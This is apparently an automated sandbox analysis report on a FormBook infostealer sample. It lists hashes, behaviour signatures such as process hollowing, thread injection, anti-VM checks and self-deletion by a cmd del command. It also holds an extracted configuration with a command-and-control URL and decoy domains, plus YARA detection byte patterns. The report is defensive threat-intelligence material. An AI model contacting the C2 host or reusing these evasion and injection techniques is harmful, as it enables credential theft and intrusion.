Play interactive tour

Edit tour

Windows Analysis Report 7TupDHKAwm.exe

Overview

General Information

Sample Name:	7TupDHKAwm.exe
Analysis ID:	512165
MD5:	70b00a6a05ad968af28f6b303d38f231
SHA1:	e51873233e79851d7ee46d1f5553cf2b4d60098d
SHA256:	be61aba2c5d56a20b50c5f4a682087840876fdf7504fbf5eb8ac56a0e572fb33
Tags:	exeFormbook
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Modifies the prolog of user mode functions (user mode inline hooks)

Self deletion via cmd delete

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Tries to detect virtualization through RDTSC time measurements

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

HTTP GET or POST without a user agent

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Contains functionality to read the PEB

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

7TupDHKAwm.exe (PID: 6936 cmdline: 'C:\Users\user\Desktop\7TupDHKAwm.exe' MD5: 70B00A6A05AD968AF28F6B303D38F231)

7TupDHKAwm.exe (PID: 6376 cmdline: C:\Users\user\Desktop\7TupDHKAwm.exe MD5: 70B00A6A05AD968AF28F6B303D38F231)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

WWAHost.exe (PID: 6024 cmdline: C:\Windows\SysWOW64\WWAHost.exe MD5: 370C260333EB3149EF4E49C8F64652A0)

cmd.exe (PID: 4128 cmdline: /c del 'C:\Users\user\Desktop\7TupDHKAwm.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.agentpathleurre.space/s18y/"], "decoy": ["jokes-online.com", "dzzdjn.com", "lizzieerhardtebnaryepptts.com", "interfacehand.xyz", "sale-m.site", "block-facebook.com", "dicasdamadrinha.com", "maythewind.com", "hasari.net", "omnists.com", "thevalley-eg.com", "rdfj.xyz", "szhfcy.com", "alkalineage.club", "fdf.xyz", "absorplus.com", "poldolongo.com", "badassshirts.club", "ferienwohnungenmv.com", "bilboondokoak.com", "ambrosiaaudio.com", "lifeneurologyclub.com", "femboys.world", "blehmails.com", "gametimebg.com", "duytienauto.net", "owerful.com", "amedicalsupplyco.com", "americonnlogistics.com", "ateamautoglassga.com", "clickstool.com", "fzdzcnj.com", "txtgo.xyz", "izassist.com", "3bangzhu.com", "myesstyle.com", "aek181129aek.xyz", "daoxinghumaotest.com", "jxdg.xyz", "restorationculturecon.com", "thenaturalnutrient.com", "sportsandgames.info", "spiderwebinar.net", "erqgseidx.com", "donutmastermind.com", "aidatislemleri-govtr.com", "weetsist.com", "sunsetschoolportaits.com", "exodusguarant.tech", "gsnbls.top", "huangdashi33.xyz", "amazonretoure.net", "greathomeinlakewood.com", "lenovoidc.com", "qiuhenglawfirm.com", "surveyorslimited.com", "carterscts.com", "helmosy.online", "bakersfieldlaughingstock.com", "as-payjrku.icu", "mr-exclusive.com", "givepy.info", "ifvita.com", "obesocarpinteria.online"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.742059304.0000000001830000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000B.00000002.922711515.0000000000A10000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.741623737.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x269778:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x2699f2:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x296b98:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x296e12:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x275525:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x2a2945:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x275011:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x2a2431:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x275627:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x2a2a47:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x27579f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x2a2bbf:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x26a40a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x29782a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x27428c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x2a16ac:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x26b103:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x298523:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x27b797:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x2a8bb7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x27c79a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.686015292.0000000003409000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x2786b9:$sqlite3step: 68 34 1C 7B E1 0x2787cc:$sqlite3step: 68 34 1C 7B E1 0x2a5ad9:$sqlite3step: 68 34 1C 7B E1 0x2a5bec:$sqlite3step: 68 34 1C 7B E1 0x2786e8:$sqlite3text: 68 38 2A 90 C5 0x27880d:$sqlite3text: 68 38 2A 90 C5 0x2a5b08:$sqlite3text: 68 38 2A 90 C5 0x2a5c2d:$sqlite3text: 68 38 2A 90 C5 0x2786fb:$sqlite3blob: 68 53 D8 7F 8C 0x278823:$sqlite3blob: 68 53 D8 7F 8C 0x2a5b1b:$sqlite3blob: 68 53 D8 7F 8C 0x2a5c43:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x26b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x21a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x27b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x292f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x141c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x8927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x992a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000000.728776884.000000000E4BB000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x5849:$sqlite3step: 68 34 1C 7B E1 0x595c:$sqlite3step: 68 34 1C 7B E1 0x5878:$sqlite3text: 68 38 2A 90 C5 0x599d:$sqlite3text: 68 38 2A 90 C5 0x588b:$sqlite3blob: 68 53 D8 7F 8C 0x59b3:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000000.683641477.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.742802941.0000000001BA0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x26b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x21a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x27b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x292f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x141c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x8927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x992a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000008.00000000.713098420.000000000E4BB000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x5849:$sqlite3step: 68 34 1C 7B E1 0x595c:$sqlite3step: 68 34 1C 7B E1 0x5878:$sqlite3text: 68 38 2A 90 C5 0x599d:$sqlite3text: 68 38 2A 90 C5 0x588b:$sqlite3blob: 68 53 D8 7F 8C 0x59b3:$sqlite3blob: 68 53 D8 7F 8C
0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000B.00000002.924521754.0000000002DA0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000B.00000002.922851671.0000000000B70000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000000.682941306.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.685820710.0000000002401000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 7TupDHKAwm.exe PID: 6936	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.0.7TupDHKAwm.exe.400000.4.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.7TupDHKAwm.exe.400000.4.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab27:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.7TupDHKAwm.exe.400000.4.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a49:$sqlite3step: 68 34 1C 7B E1 0x17b5c:$sqlite3step: 68 34 1C 7B E1 0x17a78:$sqlite3text: 68 38 2A 90 C5 0x17b9d:$sqlite3text: 68 38 2A 90 C5 0x17a8b:$sqlite3blob: 68 53 D8 7F 8C 0x17bb3:$sqlite3blob: 68 53 D8 7F 8C
6.2.7TupDHKAwm.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.7TupDHKAwm.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab27:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.7TupDHKAwm.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a49:$sqlite3step: 68 34 1C 7B E1 0x17b5c:$sqlite3step: 68 34 1C 7B E1 0x17a78:$sqlite3text: 68 38 2A 90 C5 0x17b9d:$sqlite3text: 68 38 2A 90 C5 0x17a8b:$sqlite3blob: 68 53 D8 7F 8C 0x17bb3:$sqlite3blob: 68 53 D8 7F 8C
6.0.7TupDHKAwm.exe.400000.6.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.7TupDHKAwm.exe.400000.6.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.0.7TupDHKAwm.exe.400000.6.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
6.2.7TupDHKAwm.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.7TupDHKAwm.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x151a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa59a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.7TupDHKAwm.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18849:$sqlite3step: 68 34 1C 7B E1 0x1895c:$sqlite3step: 68 34 1C 7B E1 0x18878:$sqlite3text: 68 38 2A 90 C5 0x1899d:$sqlite3text: 68 38 2A 90 C5 0x1888b:$sqlite3blob: 68 53 D8 7F 8C 0x189b3:$sqlite3blob: 68 53 D8 7F 8C
6.0.7TupDHKAwm.exe.400000.8.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.0.7TupDHKAwm.exe.400000.8.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d82:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148b5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x143a1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x979a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1361c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa493:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1ab27:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1bb2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
